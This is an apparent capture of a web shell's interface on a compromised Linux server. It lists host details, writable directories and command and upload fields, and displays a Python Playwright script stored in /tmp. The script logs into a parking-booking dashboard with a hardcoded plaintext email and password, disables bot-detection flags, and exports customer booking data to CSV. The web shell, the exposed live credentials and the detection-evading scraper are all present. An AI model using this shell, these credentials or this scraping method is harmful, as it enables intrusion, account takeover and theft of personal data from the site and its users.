403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/pl_export.py
import datetime
from playwright.sync_api import sync_playwright
from playwright_stealth import stealth_sync
BASE="https://www.parkinglist.de/ParkingDashboard"
USER="service@parken-am-schiff.de"; PW="BYx63wLLxP"
UA="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
now=datetime.date.today(); MON=str(now.month); YR=str(now.year)
with sync_playwright() as p:
    b=p.chromium.launch(headless=True,args=["--no-sandbox","--disable-blink-features=AutomationControlled"])
    ctx=b.new_context(user_agent=UA,locale="de-DE",viewport={"width":1600,"height":1000},accept_downloads=True)
    pg=ctx.new_page(); stealth_sync(pg)
    pg.goto(f"{BASE}/login.xhtml",wait_until="networkidle",timeout=60000); pg.wait_for_timeout(10000)
    pg.fill("#username",USER); pg.fill("#password",PW); pg.click("#login"); pg.wait_for_timeout(6000)
    pg.goto(f"{BASE}/airportbooking/List.xhtml",wait_until="networkidle",timeout=40000); pg.wait_for_timeout(3000)
    # set year then month (PrimeFaces ajax onchange)
    pg.select_option("#j_idt38\\:year_input",YR); pg.wait_for_timeout(3000)
    pg.select_option("#j_idt38\\:monat_input",MON); pg.wait_for_timeout(4000)
    print(f"set month={MON} year={YR}")
    # row count
    rows=pg.eval_on_selector_all("#checkboxDT_data tr","els=>els.length") if pg.query_selector("#checkboxDT_data") else "n/a"
    print("table rows:",rows)
    # click CSV export
    try:
        with pg.expect_download(timeout=40000) as di:
            pg.click("a[title='Exportiere alle Daten']")
        d=di.value
        out=f"/tmp/pl_export_{YR}-{MON}.csv"
        d.save_as(out)
        print("DOWNLOAD saved:",out,"suggested:",d.suggested_filename)
    except Exception as e:
        print("download err:",str(e)[:160])
    b.close()

Youez - 2016 - github.com/yon3zu
LinuXploit